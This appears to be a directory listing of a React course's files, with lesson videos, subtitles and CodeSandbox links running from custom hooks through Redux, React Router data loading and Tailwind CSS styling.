    12 - Effects and Data Fetching/external-links.txt 212 B
    13 - Custom Hooks, Refs, and More State/001 Section Overview.mp4 2.14 MB
    13 - Custom Hooks, Refs, and More State/001 Section Overview_en.srt 1.25 KB
    13 - Custom Hooks, Refs, and More State/002 React Hooks and Their Rules.mp4 23.5 MB
    13 - Custom Hooks, Refs, and More State/002 React Hooks and Their Rules_en.srt 15.15 KB
    13 - Custom Hooks, Refs, and More State/003 The Rules of Hooks in Practice.mp4 40.4 MB
    13 - Custom Hooks, Refs, and More State/003 The Rules of Hooks in Practice_en.srt 10.92 KB
    13 - Custom Hooks, Refs, and More State/004 More Details of useState.mp4 83.58 MB
    13 - Custom Hooks, Refs, and More State/004 More Details of useState_en.srt 15.61 KB
    13 - Custom Hooks, Refs, and More State/005 Initializing State With a Callback (Lazy Initial State).mp4 84.71 MB
    13 - Custom Hooks, Refs, and More State/005 Initializing State With a Callback (Lazy Initial State)_en.srt 18.82 KB
    13 - Custom Hooks, Refs, and More State/006 useState Summary.mp4 7.29 MB
    13 - Custom Hooks, Refs, and More State/006 useState Summary_en.srt 4.29 KB
    13 - Custom Hooks, Refs, and More State/007 How NOT to Select DOM Elements in React.mp4 15.89 MB
    13 - Custom Hooks, Refs, and More State/007 How NOT to Select DOM Elements in React_en.srt 4.97 KB
    13 - Custom Hooks, Refs, and More State/008 Introducing Another Hook useRef.mp4 14.98 MB
    13 - Custom Hooks, Refs, and More State/008 Introducing Another Hook useRef_en.srt 7.82 KB
    13 - Custom Hooks, Refs, and More State/009 Refs to Select DOM Elements.mp4 75.25 MB
    13 - Custom Hooks, Refs, and More State/009 Refs to Select DOM Elements_en.srt 14.23 KB
    13 - Custom Hooks, Refs, and More State/010 Refs to Persist Data Between Renders.mp4 74.34 MB
    13 - Custom Hooks, Refs, and More State/010 Refs to Persist Data Between Renders_en.srt 14.15 KB
    13 - Custom Hooks, Refs, and More State/011 What are Custom Hooks When to Create One.mp4 9.9 MB
    13 - Custom Hooks, Refs, and More State/011 What are Custom Hooks When to Create One_en.srt 5.85 KB
    13 - Custom Hooks, Refs, and More State/012 Creating our First Custom Hook useMovies.mp4 88.92 MB
    13 - Custom Hooks, Refs, and More State/012 Creating our First Custom Hook useMovies_en.srt 18.21 KB
    13 - Custom Hooks, Refs, and More State/013 Creating useLocalStorageState.mp4 60.03 MB
    13 - Custom Hooks, Refs, and More State/013 Creating useLocalStorageState_en.srt 13.23 KB
    13 - Custom Hooks, Refs, and More State/014 Creating useKey.mp4 31.88 MB
    13 - Custom Hooks, Refs, and More State/014 Creating useKey_en.srt 11.59 KB
    13 - Custom Hooks, Refs, and More State/015 CHALLENGE #1 useGeolocate.mp4 59.62 MB
    13 - Custom Hooks, Refs, and More State/015 CHALLENGE #1 useGeolocate_en.srt 10.06 KB
    13 - Custom Hooks, Refs, and More State/015 CodeSandbox-link-FINAL.url 92 B
    13 - Custom Hooks, Refs, and More State/015 CodeSandbox-link-STARTER.url 94 B
    13 - Custom Hooks, Refs, and More State/external-links.txt 204 B
    14 - [Optional] React Before Hooks Class-Based React/001 Section Overview.mp4 2.32 MB
    14 - [Optional] React Before Hooks Class-Based React/001 Section Overview_en.srt 1.79 KB
    14 - [Optional] React Before Hooks Class-Based React/002 Our First Class Component.mp4 29.03 MB
    14 - [Optional] React Before Hooks Class-Based React/002 Our First Class Component_en.srt 12.67 KB
    14 - [Optional] React Before Hooks Class-Based React/003 Working With Event Handlers.mp4 53.85 MB
    14 - [Optional] React Before Hooks Class-Based React/003 Working With Event Handlers_en.srt 14.29 KB
    14 - [Optional] React Before Hooks Class-Based React/004 Class Components vs. Function Components.mp4 13 MB
    14 - [Optional] React Before Hooks Class-Based React/004 Class Components vs. Function Components_en.srt 8.17 KB
    14 - [Optional] React Before Hooks Class-Based React/005 Starting the Classy Weather App.mp4 39.59 MB
    14 - [Optional] React Before Hooks Class-Based React/005 Starting the Classy Weather App_en.srt 9.91 KB
    14 - [Optional] React Before Hooks Class-Based React/006 Fetching Weather Data.mp4 69.88 MB
    14 - [Optional] React Before Hooks Class-Based React/006 Fetching Weather Data_en.srt 13.24 KB
    14 - [Optional] React Before Hooks Class-Based React/007 Displaying the Weather.mp4 88.41 MB
    14 - [Optional] React Before Hooks Class-Based React/007 Displaying the Weather_en.srt 18.51 KB
    14 - [Optional] React Before Hooks Class-Based React/008 Removing Boilerplate Code With Class Fields.mp4 27.71 MB
    14 - [Optional] React Before Hooks Class-Based React/008 Removing Boilerplate Code With Class Fields_en.srt 5.82 KB
    14 - [Optional] React Before Hooks Class-Based React/009 Child to Parent Communication.mp4 32.66 MB
    14 - [Optional] React Before Hooks Class-Based React/009 Child to Parent Communication_en.srt 5.41 KB
    14 - [Optional] React Before Hooks Class-Based React/010 Lifecycle Methods.mp4 67.78 MB
    14 - [Optional] React Before Hooks Class-Based React/010 Lifecycle Methods_en.srt 23.06 KB
    15 - PART 3 ADVANCED REACT + REDUX [4 PROJECTS]/001 Introduction to Part 3.mp4 25.41 MB
    15 - PART 3 ADVANCED REACT + REDUX [4 PROJECTS]/001 Introduction to Part 3_en.srt 1.5 KB
    15 - PART 3 ADVANCED REACT + REDUX [4 PROJECTS]/002 Useful Resources for Part 3.html 3.33 KB
    16 - The Advanced useReducer Hook/001 Section Overview.mp4 2.04 MB
    16 - The Advanced useReducer Hook/001 Section Overview_en.srt 1.44 KB
    16 - The Advanced useReducer Hook/002 Yet Another Hook useReducer.mp4 104.93 MB
    16 - The Advanced useReducer Hook/002 Yet Another Hook useReducer_en.srt 24.68 KB
    16 - The Advanced useReducer Hook/003 Managing Related Pieces of State.mp4 78.58 MB
    16 - The Advanced useReducer Hook/003 Managing Related Pieces of State_en.srt 15.74 KB
    16 - The Advanced useReducer Hook/004 Managing State With useReducer.mp4 33.29 MB
    16 - The Advanced useReducer Hook/004 Managing State With useReducer_en.srt 20.26 KB
    16 - The Advanced useReducer Hook/005 The React Quiz App.mp4 21.92 MB
    16 - The Advanced useReducer Hook/005 The React Quiz App_en.srt 11.02 KB
    16 - The Advanced useReducer Hook/006 Loading Questions from a Fake API.mp4 79.97 MB
    16 - The Advanced useReducer Hook/006 Loading Questions from a Fake API_en.srt 24.42 KB
    16 - The Advanced useReducer Hook/007 Handling Loading, Error, and Ready Status.mp4 56.95 MB
    16 - The Advanced useReducer Hook/007 Handling Loading, Error, and Ready Status_en.srt 12.54 KB
    16 - The Advanced useReducer Hook/008 Starting a New Quiz.mp4 30.85 MB
    16 - The Advanced useReducer Hook/008 Starting a New Quiz_en.srt 6.47 KB
    16 - The Advanced useReducer Hook/009 Displaying Questions.mp4 48.76 MB
    16 - The Advanced useReducer Hook/009 Displaying Questions_en.srt 10.66 KB
    16 - The Advanced useReducer Hook/010 Handling New Answers.mp4 107.02 MB
    16 - The Advanced useReducer Hook/010 Handling New Answers_en.srt 21.49 KB
    16 - The Advanced useReducer Hook/011 Moving to the Next Question.mp4 38.69 MB
    16 - The Advanced useReducer Hook/011 Moving to the Next Question_en.srt 8.36 KB
    16 - The Advanced useReducer Hook/012 Displaying Progress.mp4 52.21 MB
    16 - The Advanced useReducer Hook/012 Displaying Progress_en.srt 11.75 KB
    16 - The Advanced useReducer Hook/013 Finishing a Quiz.mp4 107.38 MB
    16 - The Advanced useReducer Hook/013 Finishing a Quiz_en.srt 18.33 KB
    16 - The Advanced useReducer Hook/014 Restarting a Quiz.mp4 48.41 MB
    16 - The Advanced useReducer Hook/014 Restarting a Quiz_en.srt 9.26 KB
    16 - The Advanced useReducer Hook/015 Setting Up a Timer With useEffect.mp4 135.17 MB
    16 - The Advanced useReducer Hook/015 Setting Up a Timer With useEffect_en.srt 27.12 KB
    16 - The Advanced useReducer Hook/016 Section Summary useState vs. useReducer.mp4 13.01 MB
    16 - The Advanced useReducer Hook/016 Section Summary useState vs. useReducer_en.srt 9.58 KB
    16 - The Advanced useReducer Hook/017 CHALLENGE #1 Creating a Bank Account With useReducer.mp4 109.92 MB
    16 - The Advanced useReducer Hook/017 CHALLENGE #1 Creating a Bank Account With useReducer_en.srt 25.75 KB
    16 - The Advanced useReducer Hook/017 CodeSandbox-link-FINAL.url 93 B
    16 - The Advanced useReducer Hook/017 CodeSandbox-link-STARTER.url 95 B
    16 - The Advanced useReducer Hook/external-links.txt 206 B
    17 - React Router Building Single-Page Applications (SPA)/001 Section Overview.mp4 3.83 MB
    17 - React Router Building Single-Page Applications (SPA)/001 Section Overview_en.srt 1.2 KB
    17 - React Router Building Single-Page Applications (SPA)/002 Creating Our First App With Vite WorldWise.mp4 87.98 MB
    17 - React Router Building Single-Page Applications (SPA)/002 Creating Our First App With Vite WorldWise_en.srt 23.02 KB
    17 - React Router Building Single-Page Applications (SPA)/003 Routing and Single-Page Applications (SPAs).mp4 40.62 MB
    17 - React Router Building Single-Page Applications (SPA)/003 Routing and Single-Page Applications (SPAs)_en.srt 9.64 KB
    17 - React Router Building Single-Page Applications (SPA)/004 Implementing Main Pages and Routes.mp4 47.74 MB
    17 - React Router Building Single-Page Applications (SPA)/004 Implementing Main Pages and Routes_en.srt 16.04 KB
    17 - React Router Building Single-Page Applications (SPA)/005 Linking Between Routes With Link and NavLink.mp4 55.97 MB
    17 - React Router Building Single-Page Applications (SPA)/005 Linking Between Routes With Link and NavLink_en.srt 12.74 KB
    17 - React Router Building Single-Page Applications (SPA)/006 Styling Options For React Applications.mp4 12.49 MB
    17 - React Router Building Single-Page Applications (SPA)/006 Styling Options For React Applications_en.srt 8.34 KB
    17 - React Router Building Single-Page Applications (SPA)/007 Using CSS Modules.mp4 107.63 MB
    17 - React Router Building Single-Page Applications (SPA)/007 Using CSS Modules_en.srt 21.55 KB
    17 - React Router Building Single-Page Applications (SPA)/008 Building the Pages.mp4 124.65 MB
    17 - React Router Building Single-Page Applications (SPA)/008 Building the Pages_en.srt 22.2 KB
    17 - React Router Building Single-Page Applications (SPA)/009 Building the App Layout.mp4 56.24 MB
    17 - React Router Building Single-Page Applications (SPA)/009 Building the App Layout_en.srt 10.93 KB
    17 - React Router Building Single-Page Applications (SPA)/010 Nested Routes and Index Route.mp4 92.97 MB
    17 - React Router Building Single-Page Applications (SPA)/010 Nested Routes and Index Route_en.srt 18.04 KB
    17 - React Router Building Single-Page Applications (SPA)/011 Implementing the Cities List.mp4 165.13 MB
    17 - React Router Building Single-Page Applications (SPA)/011 Implementing the Cities List_en.srt 21.9 KB
    17 - React Router Building Single-Page Applications (SPA)/012 Implementing the Countries List.mp4 103.43 MB
    17 - React Router Building Single-Page Applications (SPA)/012 Implementing the Countries List_en.srt 13.79 KB
    17 - React Router Building Single-Page Applications (SPA)/013 Storing State in the URL.mp4 15.73 MB
    17 - React Router Building Single-Page Applications (SPA)/013 Storing State in the URL_en.srt 7.54 KB
    17 - React Router Building Single-Page Applications (SPA)/014 Dynamic Routes With URL Parameters.mp4 97.75 MB
    17 - React Router Building Single-Page Applications (SPA)/014 Dynamic Routes With URL Parameters_en.srt 13.96 KB
    17 - React Router Building Single-Page Applications (SPA)/015 Reading and Setting a Query String.mp4 69.77 MB
    17 - React Router Building Single-Page Applications (SPA)/015 Reading and Setting a Query String_en.srt 14.09 KB
    17 - React Router Building Single-Page Applications (SPA)/016 Programmatic Navigation with useNavigate.mp4 77.26 MB
    17 - React Router Building Single-Page Applications (SPA)/016 Programmatic Navigation with useNavigate_en.srt 16.08 KB
    17 - React Router Building Single-Page Applications (SPA)/017 Programmatic Navigation with Navigate.mp4 30.38 MB
    17 - React Router Building Single-Page Applications (SPA)/017 Programmatic Navigation with Navigate_en.srt 6.34 KB
    18 - Advanced State Management The Context API/001 Section Overview.mp4 4.25 MB
    18 - Advanced State Management The Context API/001 Section Overview_en.srt 1.37 KB
    18 - Advanced State Management The Context API/002 CHALLENGE #1 Understand The Atomic Blog App.mp4 23.27 MB
    18 - Advanced State Management The Context API/002 CHALLENGE #1 Understand The Atomic Blog App_en.srt 6.15 KB
    18 - Advanced State Management The Context API/003 What is the Context API.mp4 11.76 MB
    18 - Advanced State Management The Context API/003 What is the Context API_en.srt 7.21 KB
    18 - Advanced State Management The Context API/004 Creating and Providing a Context.mp4 83.81 MB
    18 - Advanced State Management The Context API/004 Creating and Providing a Context_en.srt 13.5 KB
    18 - Advanced State Management The Context API/005 Consuming the Context.mp4 75.91 MB
    18 - Advanced State Management The Context API/005 Consuming the Context_en.srt 13.97 KB
    18 - Advanced State Management The Context API/006 Advanced Pattern A Custom Provider and Hook.mp4 151.55 MB
    18 - Advanced State Management The Context API/006 Advanced Pattern A Custom Provider and Hook_en.srt 22.17 KB
    18 - Advanced State Management The Context API/007 Thinking In React Advanced State Management.mp4 24.5 MB
    18 - Advanced State Management The Context API/007 Thinking In React Advanced State Management_en.srt 16.65 KB
    18 - Advanced State Management The Context API/008 Back to WorldWise Creating a CitiesContext.mp4 66.2 MB
    18 - Advanced State Management The Context API/008 Back to WorldWise Creating a CitiesContext_en.srt 11.27 KB
    18 - Advanced State Management The Context API/009 Consuming the CitiesContext.mp4 36.92 MB
    18 - Advanced State Management The Context API/009 Consuming the CitiesContext_en.srt 5.86 KB
    18 - Advanced State Management The Context API/010 Finishing the City View.mp4 137 MB
    18 - Advanced State Management The Context API/010 Finishing the City View_en.srt 23.77 KB
    18 - Advanced State Management The Context API/011 Including a Map With the Leaflet Library.mp4 96.92 MB
    18 - Advanced State Management The Context API/011 Including a Map With the Leaflet Library_en.srt 12.01 KB
    18 - Advanced State Management The Context API/012 Displaying City Markers on Map.mp4 54.92 MB
    18 - Advanced State Management The Context API/012 Displaying City Markers on Map_en.srt 8 KB
    18 - Advanced State Management The Context API/013 Interacting With the Map.mp4 113.19 MB
    18 - Advanced State Management The Context API/013 Interacting With the Map_en.srt 17.96 KB
    18 - Advanced State Management The Context API/014 Setting Map Position With Geolocation.mp4 61.53 MB
    18 - Advanced State Management The Context API/014 Setting Map Position With Geolocation_en.srt 14.71 KB
    18 - Advanced State Management The Context API/014 useGeolocation-CodeSandbox-link.url 92 B
    18 - Advanced State Management The Context API/015 Fetching City Data in the Form.mp4 187.99 MB
    18 - Advanced State Management The Context API/015 Fetching City Data in the Form_en.srt 21.72 KB
    18 - Advanced State Management The Context API/016 Creating a New City.mp4 255 MB
    18 - Advanced State Management The Context API/016 Creating a New City_en.srt 30.33 KB
    18 - Advanced State Management The Context API/017 Deleting a City.mp4 59.91 MB
    18 - Advanced State Management The Context API/017 Deleting a City_en.srt 6.91 KB
    18 - Advanced State Management The Context API/018 Advanced State Management System Context + useReducer.mp4 200.49 MB
    18 - Advanced State Management The Context API/018 Advanced State Management System Context + useReducer_en.srt 27.38 KB
    18 - Advanced State Management The Context API/019 Adding Fake Authentication Setting Up Context.mp4 91.5 MB
    18 - Advanced State Management The Context API/019 Adding Fake Authentication Setting Up Context_en.srt 14.85 KB
    18 - Advanced State Management The Context API/020 Adding Fake Authentication Implementing Login.mp4 131.61 MB
    18 - Advanced State Management The Context API/020 Adding Fake Authentication Implementing Login_en.srt 22.26 KB
    18 - Advanced State Management The Context API/021 Adding Fake Authentication Protecting a Route.mp4 89.19 MB
    18 - Advanced State Management The Context API/021 Adding Fake Authentication Protecting a Route_en.srt 15.09 KB
    18 - Advanced State Management The Context API/022 CHALLENGE #2 Refactoring React Quiz to Context API.mp4 55.32 MB
    18 - Advanced State Management The Context API/022 CHALLENGE #2 Refactoring React Quiz to Context API_en.srt 12.8 KB
    18 - Advanced State Management The Context API/external-links.txt 109 B
    19 - Performance Optimization and Advanced useEffect/001 Section Overview.mp4 2.49 MB
    19 - Performance Optimization and Advanced useEffect/001 Section Overview_en.srt 1.4 KB
    19 - Performance Optimization and Advanced useEffect/002 Performance Optimization and Wasted Renders.mp4 12.45 MB
    19 - Performance Optimization and Advanced useEffect/002 Performance Optimization and Wasted Renders_en.srt 8.95 KB
    19 - Performance Optimization and Advanced useEffect/003 The Profiler Developer Tool.mp4 49.77 MB
    19 - Performance Optimization and Advanced useEffect/003 The Profiler Developer Tool_en.srt 12.62 KB
    19 - Performance Optimization and Advanced useEffect/004 A Surprising Optimization Trick With children.mp4 90.88 MB
    19 - Performance Optimization and Advanced useEffect/004 A Surprising Optimization Trick With children_en.srt 16.51 KB
    19 - Performance Optimization and Advanced useEffect/005 Understanding memo.mp4 12.35 MB
    19 - Performance Optimization and Advanced useEffect/005 Understanding memo_en.srt 8.51 KB
    19 - Performance Optimization and Advanced useEffect/006 memo in Practice.mp4 95.92 MB
    19 - Performance Optimization and Advanced useEffect/006 memo in Practice_en.srt 16.99 KB
    19 - Performance Optimization and Advanced useEffect/007 Understanding useMemo and useCallback.mp4 15.18 MB
    19 - Performance Optimization and Advanced useEffect/007 Understanding useMemo and useCallback_en.srt 9.48 KB
    19 - Performance Optimization and Advanced useEffect/008 useMemo in Practice.mp4 67.78 MB
    19 - Performance Optimization and Advanced useEffect/008 useMemo in Practice_en.srt 11.46 KB
    19 - Performance Optimization and Advanced useEffect/009 useCallback in Practice.mp4 71.17 MB
    19 - Performance Optimization and Advanced useEffect/009 useCallback in Practice_en.srt 14.18 KB
    19 - Performance Optimization and Advanced useEffect/010 Optimizing Context Re-Renders.mp4 102.07 MB
    19 - Performance Optimization and Advanced useEffect/010 Optimizing Context Re-Renders_en.srt 20.86 KB
    19 - Performance Optimization and Advanced useEffect/011 Back to The WorldWise App.mp4 115.37 MB
    19 - Performance Optimization and Advanced useEffect/011 Back to The WorldWise App_en.srt 17.01 KB
    19 - Performance Optimization and Advanced useEffect/012 Optimizing Bundle Size With Code Splitting.mp4 64.18 MB
    19 - Performance Optimization and Advanced useEffect/012 Optimizing Bundle Size With Code Splitting_en.srt 21.67 KB
    19 - Performance Optimization and Advanced useEffect/013 Don't Optimize Prematurely!.mp4 6.42 MB
    19 - Performance Optimization and Advanced useEffect/013 Don't Optimize Prematurely!_en.srt 3.98 KB
    19 - Performance Optimization and Advanced useEffect/014 useEffect Rules and Best Practices.mp4 22.45 MB
    19 - Performance Optimization and Advanced useEffect/014 useEffect Rules and Best Practices_en.srt 14.45 KB
    19 - Performance Optimization and Advanced useEffect/015 CHALLENGE #1 Fix Performance Issues in Workout Timer.mp4 56.47 MB
    19 - Performance Optimization and Advanced useEffect/015 CHALLENGE #1 Fix Performance Issues in Workout Timer_en.srt 16.94 KB
    19 - Performance Optimization and Advanced useEffect/016 Setting State Based on Other State Updates.mp4 36.38 MB
    19 - Performance Optimization and Advanced useEffect/016 Setting State Based on Other State Updates_en.srt 16.14 KB
    19 - Performance Optimization and Advanced useEffect/017 Using Helper Functions In Effects.mp4 107.95 MB
    19 - Performance Optimization and Advanced useEffect/017 Using Helper Functions In Effects_en.srt 20.19 KB
    19 - Performance Optimization and Advanced useEffect/018 Closures in Effects.mp4 66.09 MB
    19 - Performance Optimization and Advanced useEffect/018 Closures in Effects_en.srt 13.39 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/001 Section Overview.mp4 1.86 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/001 Section Overview_en.srt 1.51 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/002 Introduction to Redux.mp4 27.31 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/002 Introduction to Redux_en.srt 17.37 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/003 Creating a Reducer Bank Account.mp4 36.14 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/003 Creating a Reducer Bank Account_en.srt 13.29 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/004 Creating a Redux Store.mp4 54.36 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/004 Creating a Redux Store_en.srt 13.67 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/005 Working With Action Creators.mp4 40.74 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/005 Working With Action Creators_en.srt 7.4 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/006 Adding More State Customer.mp4 55.51 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/006 Adding More State Customer_en.srt 14.24 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/007 Professional Redux File Structure State Slices.mp4 78.82 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/007 Professional Redux File Structure State Slices_en.srt 15.39 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/008 Back to React! Connecting our Redux App With React.mp4 31.35 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/008 Back to React! Connecting our Redux App With React_en.srt 7.85 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/009 Dispatching Actions from Our React App.mp4 124.84 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/009 Dispatching Actions from Our React App_en.srt 22.23 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/010 The Legacy Way of Connecting Components to Redux.mp4 31.06 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/010 The Legacy Way of Connecting Components to Redux_en.srt 6.54 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/011 Redux Middleware and Thunks.mp4 11.23 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/011 Redux Middleware and Thunks_en.srt 5.98 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/012 Making an API Call With Redux Thunks.mp4 124.5 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/012 Making an API Call With Redux Thunks_en.srt 24.4 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/013 The Redux DevTools.mp4 54.65 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/013 The Redux DevTools_en.srt 12.69 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/014 What is Redux Toolkit (RTK).mp4 7.5 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/014 What is Redux Toolkit (RTK)_en.srt 4.92 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/015 Creating the Store With RTK.mp4 37.01 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/015 Creating the Store With RTK_en.srt 5.98 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/016 Creating the Account Slice.mp4 159.3 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/016 Creating the Account Slice_en.srt 28.26 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/017 Back to Thunks.mp4 37.2 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/017 Back to Thunks_en.srt 6.58 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/018 Creating the Customer Slice.mp4 72.01 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/018 Creating the Customer Slice_en.srt 10.7 KB
    20 - Redux and Modern Redux Toolkit (With Thunks)/019 Redux vs. Context API.mp4 21.12 MB
    20 - Redux and Modern Redux Toolkit (With Thunks)/019 Redux vs. Context API_en.srt 10.93 KB
    21 - PART 4 PROFESSIONAL REACT DEVELOPMENT [2 PROJECTS]/001 Introduction to Part 4.mp4 15.54 MB
    21 - PART 4 PROFESSIONAL REACT DEVELOPMENT [2 PROJECTS]/001 Introduction to Part 4_en.srt 1.9 KB
    21 - PART 4 PROFESSIONAL REACT DEVELOPMENT [2 PROJECTS]/002 Useful Resources for Part 4.html 2.87 KB
    21 - PART 4 PROFESSIONAL REACT DEVELOPMENT [2 PROJECTS]/[CourseClub.Me].url 122 B
    21 - PART 4 PROFESSIONAL REACT DEVELOPMENT [2 PROJECTS]/[GigaCourse.Com].url 49 B
    22 - React Router With Data Loading (v6.4+)/001 Section Overview.mp4 2.9 MB
    22 - React Router With Data Loading (v6.4+)/001 Section Overview_en.srt 1.19 KB
    22 - React Router With Data Loading (v6.4+)/002 Setting Up a New Project Fast React Pizza Co.mp4 21.29 MB
    22 - React Router With Data Loading (v6.4+)/002 Setting Up a New Project Fast React Pizza Co_en.srt 10.39 KB
    22 - React Router With Data Loading (v6.4+)/003 Application Planning.mp4 54.96 MB
    22 - React Router With Data Loading (v6.4+)/003 Application Planning_en.srt 28.48 KB
    22 - React Router With Data Loading (v6.4+)/004 Setting Up a Professional File Structure.mp4 24.47 MB
    22 - React Router With Data Loading (v6.4+)/004 Setting Up a Professional File Structure_en.srt 10.64 KB
    22 - React Router With Data Loading (v6.4+)/005 A New Way Of Implementing Routes.mp4 58.17 MB
    22 - React Router With Data Loading (v6.4+)/005 A New Way Of Implementing Routes_en.srt 12.68 KB
    22 - React Router With Data Loading (v6.4+)/006 Building the App Layout.mp4 32.38 MB
    22 - React Router With Data Loading (v6.4+)/006 Building the App Layout_en.srt 15.26 KB
    22 - React Router With Data Loading (v6.4+)/007 Fetching Data With React Router Loaders Pizza Menu.mp4 81.22 MB
    22 - React Router With Data Loading (v6.4+)/007 Fetching Data With React Router Loaders Pizza Menu_en.srt 15.77 KB
    22 - React Router With Data Loading (v6.4+)/008 Displaying a Loading Indicator.mp4 43.9 MB
    22 - React Router With Data Loading (v6.4+)/008 Displaying a Loading Indicator_en.srt 7.29 KB
    22 - React Router With Data Loading (v6.4+)/009 Handling Errors With Error Elements.mp4 43.92 MB
    22 - React Router With Data Loading (v6.4+)/009 Handling Errors With Error Elements_en.srt 7.72 KB
    22 - React Router With Data Loading (v6.4+)/010 Fetching Orders.mp4 98.27 MB
    22 - React Router With Data Loading (v6.4+)/010 Fetching Orders_en.srt 15.01 KB
    22 - React Router With Data Loading (v6.4+)/011 Writing Data With React Router Actions.mp4 133.14 MB
    22 - React Router With Data Loading (v6.4+)/011 Writing Data With React Router Actions_en.srt 24.81 KB
    22 - React Router With Data Loading (v6.4+)/012 Error Handling in Form Actions.mp4 72.79 MB
    22 - React Router With Data Loading (v6.4+)/012 Error Handling in Form Actions_en.srt 13.12 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/001 Section Overview.mp4 1.92 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/001 Section Overview_en.srt 1.42 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/002 What is Tailwind CSS.mp4 17.64 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/002 What is Tailwind CSS_en.srt 11.3 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/003 Setting Up Tailwind CSS.mp4 80.2 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/003 Setting Up Tailwind CSS_en.srt 15.5 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/004 Working With Color.mp4 27.18 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/004 Working With Color_en.srt 12.52 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/005 Styling Text.mp4 63.81 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/005 Styling Text_en.srt 13.66 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/006 The Box Model Spacing, Borders, and Display.mp4 79.39 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/006 The Box Model Spacing, Borders, and Display_en.srt 15.6 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/007 Responsive Design.mp4 73.64 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/007 Responsive Design_en.srt 15.18 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/008 Using Flexbox.mp4 43.55 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/008 Using Flexbox_en.srt 9.09 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/009 Using CSS Grid.mp4 83.21 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/009 Using CSS Grid_en.srt 16.99 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/010 Styling Buttons Element States and Transitions.mp4 84.08 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/010 Styling Buttons Element States and Transitions_en.srt 16.84 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/011 Styling Form Elements.mp4 72.77 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/011 Styling Form Elements_en.srt 13.44 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/012 Reusing Styles With @apply.mp4 31.7 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/012 Reusing Styles With @apply_en.srt 5.93 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/013 Reusing Styles With React Components.mp4 85.57 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/013 Reusing Styles With React Components_en.srt 16.31 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/014 Absolute Positioning, z-index, and More.mp4 56.53 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/014 Absolute Positioning, z-index, and More_en.srt 8.37 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/015 Configuring Tailwind Custom Font Family.mp4 80.22 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/015 Configuring Tailwind Custom Font Family_en.srt 14.94 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/016 Styling the Menu.mp4 142.87 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/016 Styling the Menu_en.srt 25.27 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/017 Styling the Cart.mp4 86.77 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/017 Styling the Cart_en.srt 18.05 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/018 Styling the Order Form.mp4 102.58 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/018 Styling the Order Form_en.srt 17.38 KB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/019 Styling the Order Overview.mp4 100.17 MB
    23 - [Optional] Tailwind CSS Crash Course Styling the App/019 Styling the Order Overview_en.srt 17.09 KB
    24 - Adding Redux and Advanced React Router/001 Section Overview.mp4 1.34 MB
    24 - Adding Redux and Advanced React Router/001 Section Overview_en.srt 919 B
